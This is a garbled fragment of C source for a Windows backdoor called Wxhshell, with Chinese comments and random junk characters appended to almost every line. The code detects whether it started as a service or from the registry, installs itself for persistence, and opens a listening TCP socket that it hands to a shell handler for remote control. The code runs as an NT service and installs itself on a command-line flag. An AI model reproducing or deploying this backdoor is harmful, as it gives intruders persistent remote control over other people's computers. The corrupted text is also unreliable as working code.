DWORD BasePriority; m"iA#3l*=
ULONG UniqueProcessId; aLGq<6Ja
ULONG InheritedFromUniqueProcessId; "a8E0b
} PROCESS_BASIC_INFORMATION; aIV
/ c
=\WF +r]V
PROCNTQSIP NtQueryInformationProcess; 2H)4}5H
rQVX^
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wwB3m&
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =Nxkr0])!
5FoZ$I
HANDLE hProcess; bItcF$#!!!
PROCESS_BASIC_INFORMATION pbi; pi?MAE*f
ro{!X, _$,
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w#|L8VAh
if(NULL == hInst ) return 0; o3 fc -
mLxgvp
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P9
<U+\z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }oRBQP^&K
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `x9Eo4(/
'p&,'+x
if (!NtQueryInformationProcess) return 0; [X.bR$>
g"evnp
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E^axLp>(I
if(!hProcess) return 0; 0Ds3wNz
5 8bW
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J,2V&WuV0r
EO&Q
CloseHandle(hProcess); f<Hi=Qpm
hJ}i+[~be
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qz-QVY,
if(hProcess==NULL) return 0; t;e&[eg
h xO}'`:
HMODULE hMod; d#g))f;
char procName[255]; f2i:I1 p("
unsigned long cbNeeded; t~) P1Lof\
9r!8BjA
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a#YK1n[!
>NRppPqL
CloseHandle(hProcess); Xu] ~vik
o|kykxcq
if(strstr(procName,"services")) return 1; // 以服务启动 b dgkA
g'(bk@<BP
return 0; // 注册表启动 9zu;OK%
} nI\6aG?`
,QY$:f<
// 主模块 oJ74Mra
int StartWxhshell(LPSTR lpCmdLine) $Habhw
{ mlnF,+s
SOCKET wsl; }aZuCe_
BOOL val=TRUE; C0wtMD:G
int port=0; q&3
;e4
struct sockaddr_in door; j/O~8o&
<RGH+4LF
if(wscfg.ws_autoins) Install(); r;#"j%z
QNj]wm=mp
port=atoi(lpCmdLine); No^gKh24
^#9385
if(port<=0) port=wscfg.ws_port;
L:$4o
=&}@GsXdo
WSADATA data; 36"n7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ".?4`@7F\
t#k]K]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |&; ^?M
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QJ|@Y(KV0
door.sin_family = AF_INET; B~p%pTS+
door.sin_addr.s_addr = inet_addr("127.0.0.1"); NJUKH1lIhR
door.sin_port = htons(port); fkA+:j~z_
i?x gV_q;
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1EyN
|m|
closesocket(wsl); *_(X$qfoW
return 1; nBh+UT}
} Ez3fL&*
-$Oh.B`i
if(listen(wsl,2) == INVALID_SOCKET) {
gjS|3ED
closesocket(wsl); Vao:9~
return 1; n6/Ous
} 9]4Q@%
Wxhshell(wsl); Z(mUU]
WSACleanup(); F-&tSU,
LgqQr6y"
return 0; ARH~dN* C
C/kf?:j
} Pvxb6\G&d
['d9sEv .
// 以NT服务方式启动 G@]3EP
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~tDYo)hH8
{ $J[( 3
DWORD status = 0; /9`4f "
DWORD specificError = 0xfffffff; T &ZQie/
R~vGaxZ$
serviceStatus.dwServiceType = SERVICE_WIN32; iq#{*:1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; :U6`n
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [!'+}
serviceStatus.dwWin32ExitCode = 0; $y(;"hy
serviceStatus.dwServiceSpecificExitCode = 0; 6(n0{A
serviceStatus.dwCheckPoint = 0; ,06Sm]4L,
serviceStatus.dwWaitHint = 0; Rh>B#
\
'VDWJTia
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <b 5DX
if (hServiceStatusHandle==0) return; U3(+8}Q
Ji4p6$ .j-
status = GetLastError(); BWt`l,nF
if (status!=NO_ERROR) 0vY_
{ m1$tf
^
serviceStatus.dwCurrentState = SERVICE_STOPPED; Myq8`/_
serviceStatus.dwCheckPoint = 0; MIMC(<
serviceStatus.dwWaitHint = 0; #;[G>-tC
serviceStatus.dwWin32ExitCode = status; Et=Pr+Q{c
serviceStatus.dwServiceSpecificExitCode = specificError; X\^V{v^-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); A5<t> 6Y
return; #{i*9'
} w~lH2U'k}
`7"="T~ *
serviceStatus.dwCurrentState = SERVICE_RUNNING; lC<;Q*Y
serviceStatus.dwCheckPoint = 0; Q\Ek U.[I
serviceStatus.dwWaitHint = 0; Ailq,c
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zsL@0]e&
} 'I[?R&j$G
;!n>
// 处理NT服务事件,比如:启动、停止 2 bc&sU)X
VOID WINAPI NTServiceHandler(DWORD fdwControl) #QNN;&L]R
{ %:3XYO.w-
switch(fdwControl) dGKo!;7{
{ 3j7FG%\
case SERVICE_CONTROL_STOP: U]PB)
serviceStatus.dwWin32ExitCode = 0; >|f"EK}m!
serviceStatus.dwCurrentState = SERVICE_STOPPED; "@V yc6L
serviceStatus.dwCheckPoint = 0; @16GF!.
serviceStatus.dwWaitHint = 0; Z.VKG1e}
{ 0 R6:3fV6R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); atL<mhRz
} `Ba]i) !
return; 35\ |#2qw6
case SERVICE_CONTROL_PAUSE: VD=H=Ju
serviceStatus.dwCurrentState = SERVICE_PAUSED; F#Lo^ 8
break; JP#S/kJ%3
case SERVICE_CONTROL_CONTINUE: '*J+mZt N
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0jTReY-W
break; j|!,^._i
case SERVICE_CONTROL_INTERROGATE: ON2o^-%=
break; Fh #QS'[
}; :=Olp;+_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =AIts[!qd
} Tmzbh 9
?I+L
// 标准应用程序主函数 -.Wcz|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -^_2{i
{ 5kGniG?T#
a?[[F{X9^
// 获取操作系统版本 VN`.*B|9[
OsIsNt=GetOsVer(); {JE [
GetModuleFileName(NULL,ExeFile,MAX_PATH); '=dQ$fs
mnm
ZO}
// 从命令行安装 Qs1p
if(strpbrk(lpCmdLine,"iI")) Install(); J[ZHAnmPH
~ZKJ:&f